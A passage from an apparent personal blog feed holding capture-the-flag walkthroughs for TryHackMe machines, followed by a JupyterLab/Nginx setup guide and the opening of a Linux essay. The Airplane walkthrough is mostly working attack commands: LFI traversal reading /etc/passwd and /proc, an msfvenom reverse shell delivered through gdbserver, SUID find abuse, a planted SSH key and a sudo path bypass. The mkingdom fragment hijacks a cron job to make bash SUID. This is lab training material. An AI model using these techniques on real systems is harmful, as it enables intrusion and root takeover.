2024/06/14 23:57:01 CMD: UID=0    PID=5203   | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/14 23:57:01 CMD: UID=0    PID=5202   | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log

This is interesting as we have permission to modify /etc/hosts and can change the IP to our attack machine.

On our attack machine we created the expected file structure the command was expecting with mkdir -p /app/castle/application/ and then created the file counter.sh

#!/bin/sh
chmod +s /bin/bash

With this file created, we then set up web server listening on Port 85 and waited for the job to run.

❯ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.4.31 - - [15/Jun/2024 11:58:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

Once the job had successfully run, from within our shell we run the command bash -p and we had root.

mario@mkingdom:/dev/shm$ bash -p
bash-4.3# id
uid=1001(mario) gid=1001(mario) euid=0(root) egid=0(root) groups=0(root),1001(mario)

We then had to copy the root.txt to /tmp due to the SUID bit on the cat file or alternatively we could have used less or more to view it.

Pwned!

Walkthrough - THM Airplane

Sun, 09 Jun 2024 19:08:05 +0800

This walkthrough is related to the medium level box from Try Hack Me called Airplane. Let’s get started.

We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity)

❯ rustscan -a 10.10.74.193 -- -A -oA nmap-scan
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

Open 10.10.74.193:22
Open 10.10.74.193:6048
Open 10.10.74.193:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan" on ip 10.10.74.193
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 13:33 PST
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuy7X5e34bStIhDkjJIcUT3kqFt9fHoI/q8AaCCH6HqgOz2HC5GdcDiBN8W6JMoRIIDJO/9FHiFE+MNtESwOP9J+S348GOhUIsVhDux7caJiyJQElrKxXJgxA7DNUvVJNBUchhgGhFv/qCNbUYF8+uaTYc0o/HtvgVw+t/bxS6EO+OlAOpyAjUP5XZjGTyc4n4uCc8mYW6aQHXZR0t5lMaKkNJzXl5+kHxxxnKci6+Ao8vrlKshgIq25NErSqoeTs/wgBcPMkr5r++emLH+rDwmjrTvwrHb2/bKKUenvnbf9AZXbcN52nGthVi95kP6HaDGijXULjrRt2GCul99OmNhEQxJNtLmUnxpxA9ZhBEzMYe3z5EeIbLuA+E9yFSrR6nq2pagC2/qvVMJSAzD749AbwjtbcL8MOf+7DCT+SATY9VxBqtKep/9PDolKi5+prGH6gzfjCkj5YaFS2CvJeGlF/B1XBzd1ccm43Lc4Ad/F4kvQWwkHmpL38kDy4eWCE=
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLYVoN15q7ky/IIo3VNrL35GRCpppImVs7x+PPFRlqO+VcfQ8C+MR2zVEFS0wosQWQFXaCZiInQhWz9swfKN6J8=
|   256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIB0hj2IqNazZojgwv0jJr+ZnOF1RCzykZ7W3jKsuCb
6048/tcp open  x11?     syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/3.0.2 Python/3.8.10
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Sun, 09 Jun 2024 05:33:19 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     
|     =en>
|     404 Not Found
|     Not Found
|     The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
|   GetRequest:
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Sun, 09 Jun 2024 05:33:13 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     
|     =en>
|     Redirecting...
|     Redirecting...
|     You should be redirected automatically to the target URL: ="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html. If not, click the link.
|   Socks5:
|     "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     
|     
|     ="Content-Type" content="text/html;charset=utf-8">
|     Error response
|     
|     
|     
Error response
|     Error code: 400
|     Message: Bad request syntax ('
|     ').
|     Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.
|     
|_    
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=6/9%Time=66653E9A%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,1F3,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.
SF:2\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2009\x20Jun\x202024\x2005:33:13\
SF:x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\
SF:r\nConnection:\x20close\r\n\r\n\n\n<
SF:title>Redirecting\.\.\.\nRedirecting\.\.\.
\nYou\x20
SF:should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20U
SF:RL:\x20http
SF:://airplane\.thm:8000/\?page=index\.html\.\x20If\x20not,\x20click\x
SF:20the\x20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x2
SF:0FOUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Su
SF:n,\x2009\x20Jun\x202024\x2005:33:19\x20GMT\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r
SF:\n\r\n\n\n404\x20Not\x20Found
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:\n
Not\x20Found
\nThe\x20requested\x20URL\x20was\x20n
SF:ot\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20
SF:URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x2
SF:0again\.
\n")%r(Socks5,213,"SF:/DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://w
SF:ww\.w3\.org/TR/html4/strict\.dtd\">\n\n\x20\x20\x20\x20\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20SF:ontent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20SF:itle>Error\x20response\n\x20\x20\x20\x20\n\x20\x20\x20\x
SF:20\n\x20\x20\x20\x20\x20\x20\x20\x20Error\x20response\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20Error\x20code:\x20400\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20Message:\x20Bad\x20request\x20syntax\x20\('\\x
SF:05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20Error\x20code\x20explanation:\x20HTTPStatus\.BAD_
SF:REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method
SF:\.
\n\x20\x20\x20\x20\n\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=6/9%OT=22%CT=%CU=38256%PV=Y%DS=2%DC=T%G=N%TM=66653F51%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 33.107 days (since Tue May  7 11:01:50 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   363.05 ms 10.11.0.1
2   363.23 ms airplane.thm (10.10.74.193)

Of the ports that are open the one of most interest at this point in time is the Web Site that is hosted on Port 8000 and when we navigate to it we are presented with the following landing page.

What stands out is the parameter in the URL so we switch to our terminal to use curl to see if there is an LFI that we can exploit.

❯ curl -s "http://airplane.thm:8000?page=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

We have confirmed that there is an LFI and we commence enumeration looking for SSH Keys, other key configuration files without much success. We then move our focus to the /proc directory and start looking at environment variables.

We will modify our command to look at /proc/self/environ as we need to output this file to our local as we will get a message stating that “Binary output can mess up your terminal” and then use strings to view the output

❯ curl -s "http://airplane.thm:8000?page=../../../../../../proc/self/environ" --output self

❯ strings self
LANG=en_US.UTF-8
LC_ADDRESS=tr_TR.UTF-8
LC_IDENTIFICATION=tr_TR.UTF-8
LC_MEASUREMENT=tr_TR.UTF-8
LC_MONETARY=tr_TR.UTF-8
LC_NAME=tr_TR.UTF-8
LC_NUMERIC=tr_TR.UTF-8
LC_PAPER=tr_TR.UTF-8
LC_TELEPHONE=tr_TR.UTF-8
LC_TIME=tr_TR.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/home/hudson
LOGNAME=hudson
USER=hudson
SHELL=/bin/bash
INVOCATION_ID=377531cb1b3d4434a8655abe5980066d
JOURNAL_STREAM=9:19499

We them have a look at /proc/self/cmdline and again will output this to a file and use strings to view it.

❯ curl -s "http://airplane.thm:8000?page=../../../../../../proc/self/cmdline" --output cmdline

❯ strings cmdline
/usr/bin/python3
app.py

We can see reference to a file app.py and we will get the output of this file

❯ curl -s "http://airplane.thm:8000?page=../app.py"
from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))

            return resp

        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)


@app.route('/airplane')
def airplane():
    return render_template('airplane.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

There is nothing in this which is of interest so we will move on to enumerate running processes on the system and before we do, we want to make sure that the connections are valid that we found from Rustscan. We query /proc/net/tcp

❯ curl -s "http://airplane.thm:8000?page=../../../../../../proc/net/tcp"
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                    
   0: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 15592 1 0000000000000000 100 0 0 10 0    
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21187 1 0000000000000000 100 0 0 10 0    
   2: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17882 1 0000000000000000 100 0 0 10 0    
   3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 20384 1 0000000000000000 100 0 0 10 0    
   4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 19754 1 0000000000000000 100 0 0 10 0    
   5: C14A0A0A:1F40 4E4F0B0A:E412 01 00000000:00000000 00:00000000 00000000  1001        0 67128 1 0000000000000000 109 4 30 10 7

What we are interested in is the local_address column which is the local address and port number of the connection. We will use Python to quickly convert from Hex to Decimal and we can see that port 6048 is open as we got from RustScan, despite not getting any data back from NMAP.

❯ python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ports_hex = ['0035', '0016', '0277', '1F40', '17A0', '1F40']
>>> ports_decimal = [int(port_hex, 16) for port_hex in ports_hex]
>>> print(ports_decimal)
[53, 22, 631, 8000, 6048, 8000]

To try to get some more information, we will write a quick Python Script that will scan the first 1000 process IDs and what command line arguments were passed in to see if there is anything that can help us.

import requests
import re 

url = "http://airplane.thm:8000/?page=../../../../../../proc/{}/cmdline"

for i in range(1, 1001):
    print(f"-\r{i}", end='')

    response = requests.get(url.format(i))
    content = response.content.decode('utf-8').replace('\x00', ' ')

    if "Page not found" not in content:
        print(f"\r{i} : {content}")

We have run the Python Script and have found a GDBServer that is running

❯ python3 airplane.py
< --- snip --->
512 : /usr/sbin/cups-browsed
532 : /usr/sbin/NetworkManager --no-daemon
533 : /usr/sbin/NetworkManager --no-daemon
536 : /usr/bin/gdbserver 0.0.0.0:6048 airplane
539 : /usr/bin/python3 app.py
543 : /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

A quick search and we have found an article on how to exploit GDBServer at Hacktricks

We will create a binary payload and then set the execution bit.

❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.11.79.78 LPORT=4444 PrependFork=true -f elf -o binary.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: binary.elf


~/Hacking/Machines/THM/Airplane                                                                                v3.11.9 3s  14:26:31
❯ chmod +x binary.elf

We then launch gdb passing in the binary file that we just created, set the remote debugger target, upload the elf file, set the remote executable file and then execute the reverse shell executable

NOTE: Ensure that you have started your listener before entering the command run

❯ gdb binary.elf
GNU gdb (Debian 13.2-1+b1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from binary.elf...
(No debugging symbols found in binary.elf)

(gdb) target extended-remote 10.10.74.193:6048

Remote debugging using 10.10.74.193:6048
remote put binaryReading /lib64/ld-linux-x86-64.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading symbols from target:/lib64/ld-linux-x86-64.so.2...
Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
Reading symbols from target:/usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug...
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
remote put bi0x00007ffff7fd0100 in _start () from target:/lib64/ld-linux-x86-64.so.2

(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".

(gdb) set remote exec-file /tmp/binary.elf
(gdb) run

The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program:
Reading /tmp/binary.elf from remote target...
Reading /tmp/binary.elf from remote target...
Reading symbols from target:/tmp/binary.elf...
(No debugging symbols found in target:/tmp/binary.elf)
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
[Detaching after fork from child process 33158]
[Inferior 1 (process 33157) exited normally]
(gdb) exit

We have a shell on our listener

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.79.78] from (UNKNOWN) [10.10.74.193] 37280
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)

We upgraded our shell and then looked for any SUID/GUID and found find had the SUID permissions which we have been able to use for Privilege Escalation

hudson@airplane:/opt$ ls -la /usr/bin/find
-rwsr-xr-x 1 carlos carlos 320160 Feb 18  2020 /usr/bin/find
hudson@airplane:/opt$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-5.0$ id
uid=1001(hudson) gid=1001(hudson) euid=1000(carlos) groups=1001(hudson)
bash-5.0$

To give us a decent shell as the user Carlos, we will create a keypair and then copy our SSH Public Key to the authorized_keys file in /home/carlos/.ssh after which we are able to SSH into the machine as the user

❯ ssh -i id_ed25519 carlos@airplane.thm
The authenticity of host 'airplane.thm (10.10.74.193)' can't be established.
ED25519 key fingerprint is SHA256:9q23c/CHFWNnqEDK/eQFZ2BSYcCGfCW3+A9hX0ubHj0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'airplane.thm' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

carlos@airplane:~$

We check our permissions as soon as we have a shell and we are able to run Ruby files

carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

This is trivial to bypass as we can use the .. notation to move from the root directory where we are allowed to execute commands , back to the /tmp directory and we are root

carlos@airplane:~$ echo 'exec "/bin/bash"' > /tmp/shell.rb
carlos@airplane:~$ sudo ruby /root/../tmp/shell.rb
root@airplane:/home/carlos# id
uid=0(root) gid=0(root) groups=0(root)
root@airplane:/home/carlos#

Overall this was an enjoyable machine, and just required a little creativity to exploit the LFI.

JupyterLab behind Nginx Reverse Proxy

Fri, 13 Oct 2023 16:25:41 +0800

Prerequisites

This is based on the assumption on having a Virtual Machine / Cloud Instance that has the following:

Debian 12 Server (minimal installation with SSH enabled)
A non-root user with sudo privileges

Installing Dependencies

Update Debian package index and install required packages:

sudo apt update && sudo apt install python3 python3-pip python3-venv nodejs -y

Confirm that these have been successfully installed by running command python3 --version && pip3 --version && node --version and you will see output as below:

david@debian:~$ python3 --version && pip3 --version && node --version
Python 3.11.2
pip 23.0.1 from /usr/lib/python3/dist-packages/pip (python 3.11)
v18.13.0

Installing Jupyter

Create a Python Virtual Environment

Create a directory, a Python virtual environment and then activate it

mkdir -p ~/project && cd ~/project
python3 -m venv venv
source venv/vin/activate

Installing Jupyter

Once the Python virtual environment has been activated install the Jupyter environment via Pip and then confirm that it has been install correctly

pip3 install jupyter
which jupyter && jupyter --version

If it has been successfully installed you will get output similar to the following

(venv) david@debian:~/project$ which jupyter && jupyter --version
/home/david/project/venv/bin/jupyter
Selected Jupyter core packages...
IPython          : 8.16.1
ipykernel        : 6.25.2
ipywidgets       : 8.1.1
jupyter_client   : 8.3.1
jupyter_core     : 5.4.0
jupyter_server   : 2.7.3
jupyterlab       : 4.0.6
nbclient         : 0.8.0
nbconvert        : 7.9.2
nbformat         : 5.9.2
notebook         : 7.0.4
qtconsole        : 5.4.4
traitlets        : 5.11.2

Configuring JupyterLab

JupyterLab is the next-generation web-based user interface for the Jupyter ecosystem. With JupyterLab, you can work with documents, and activities such as Jupyter Notebook, text editor, and terminal in one window. The JupyterLab offers an IDE-like experience for managing and developing Jupyter projects.

First, we need to configure the Jupyter Server and secure the installation

jupyter server --generate-config
jupyter server password

You can verify the content of the Jupyter Server configuration using the following command

jupyter server --show-config

Next, generate a new configuration for JupyterLab and assign an IP Address

Make sure to change the IP address to the one that is being used on your server

jupyter lab --generate-config
jupyter lab --show-config
jupyter lab --ip 1.1.1.1

The Jupyter Lab will be running on the assigned IP address with the default Port 8888 and is accessible via /lab path

Once you have entered the correct password you will see the default landing page

Running JupyterLab as a Systemd Service

Create a new systemd service file in /etc/systemd/system/jupyterlab.service using your preferred editor with the following content

Ensure that you change the username from david to the username of the account that you are using

[Unit]
Description=JupyterLab Service
 
[Service]
Type=simple
PIDFile=/run/jupyter.pid
ExecStart=/home/david/project/venv/bin/jupyter lab --config=/home/david/.jupyter/jupyter_lab_config.py
User=david
Group=david
WorkingDirectory=/home/david/project
Restart=always
RestartSec=10
 
[Install]
WantedBy=multi-user.target

Reload the systemd manager to apply the changes and then load the service

sudo systemctl daemon-reload
sudo systemctl enable jupyterlab --now
sudo systemctl status jupyterlab

Check the output to see that the service is running which should like below

Press RETURN to continue 
● jupyterlab.service - JupyterLab Service
     Loaded: loaded (/etc/systemd/system/jupyterlab.service; enabled; preset: enabled)
     Active: active (running) since Wed 2023-10-11 11:46:28 PST; 43min ago
   Main PID: 4690 (jupyter-lab)
      Tasks: 3 (limit: 4603)
     Memory: 79.2M
        CPU: 2.381s
     CGroup: /system.slice/jupyterlab.service
             └─4690 /home/david/project/venv/bin/python3 /home/david/project/venv/bin/jupyter-lab --config=/home/david/.jupyter/jupyter_lab_config.py

Configure Nginx as a Reverse Proxy for Jupyter

Allow Remote Access to JupyterLab

By default JupyterLab is only accessible via a Local IP address. To allow remote connection the default configuration must be modified. Modify ~/.jupyter/jupyter_lab_config.py and uncomment and modify the following line to the following

c.ServerApp.allow_remote_access = True

Once this has been modified, restart the JupyterLab Service by running sudo systemctl restart jupyterlab.service

When you restart the service you will see a token in the URL, make a copy of this as you will need it later

Install and Configure Nginx as a Reverse Proxy

Install Nginx

sudo apt install nginx -y

After Nginx is installed, create a server block configuration in /etc/nginx/sites/available/jupyterlab using your preferred editor running with sudo privileges

Insert the following configuration ensuring to change the domain name

server {
    listen 80;
    server_name jupyterlab.vmdomain.io;
    
    access_log /var/log/nginx/vmdomain.io.access.log;
    error_log /var/log/nginx/vmdomain.io.error.log;
 
    location / {
        proxy_pass http://127.0.0.1:8888;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Host $http_host;
        proxy_http_version 1.1;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_read_timeout 86400;
    }
}

Run the following command to activate the server block and verify the Nginx Configuration

sudo ln -s /etc/nginx/sites-available/jupyterlab /etc/nginx/sites-enabled/
sudo nginx -t

You should receive the following output if the configuration is successful

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

Once you have confirmed that the configuration file is ok, restart Nginx and verify that the service started correctly

sudo systemctl restart nginx
sudo systemctl status nginx

Access JupyterLab via Local Machine

Modify the /etc/hosts file to include the IP Address and FQDN

1.1.1.1    jupyterlab.vmdomain.io

Next, open a Web Browser and navigate to your JupyterLab installation http://jupyterlab.vmdomain.io and you will get a login page. Go to the bottom and you will enter the token you got earlier and you can also set a new password

You will then be taken to the dashboard and the installation is complete.

My Linux Journey: From Desktop Environments to Minimalist Tiling Window Manager

Fri, 06 Oct 2023 18:22:13 +0800

I can’t believe it’s been over two years since I made the switch from Apple to Linux. It was a great decision, and I haven’t looked back.

At first, I used PopOS, a Linux distribution known for its tiling window manager. I liked PopOS, but I wanted a more customized and streamlined experience. So, I decided to move away from desktop environments altogether and switch to a tiling window manager on Debian 12.

Why ditch the desktop environment?

